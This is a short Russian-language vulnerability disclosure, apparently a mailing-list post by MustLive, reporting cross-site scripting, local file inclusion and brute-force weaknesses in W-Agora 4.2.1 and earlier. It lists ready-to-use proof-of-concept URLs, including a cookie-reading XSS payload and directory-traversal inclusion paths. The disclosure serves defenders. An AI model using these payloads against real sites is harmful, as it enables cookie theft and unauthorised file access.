XSS, LFI и BT уязвимости в W-Agora

Здравствуйте 3APA3A!

Сообщаю вам о найденных мною Cross-Site Scripting, Local File Inclusion и Brute Force уязвимостях в W-Agora.

XSS (WASC-08):

http://site/current/getfile.php/support_howto/%22%3E%3Cbody%20onload=alert(document.cookie)%3E/1/

Local File Inclusion (WASC-31):

В папке conf:

http://site/current/getfile.php/1

http://site/current/index.php?bn=1

http://site/current/list.php?bn=1

В любой папке (только на Windows-серверах):

http://site/current/getfile.php/..\1

http://site/current/index.php?bn=..\1

http://site/current/list.php?bn=..\1

Brute Force (WASC-11):

http://site/current/login.php

Уязвимы W-Agora 4.2.1 и предыдущие версии.

Дополнительная информация о данных уязвимостях у меня на сайте:
http://websecurity.com.ua/4845/

Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua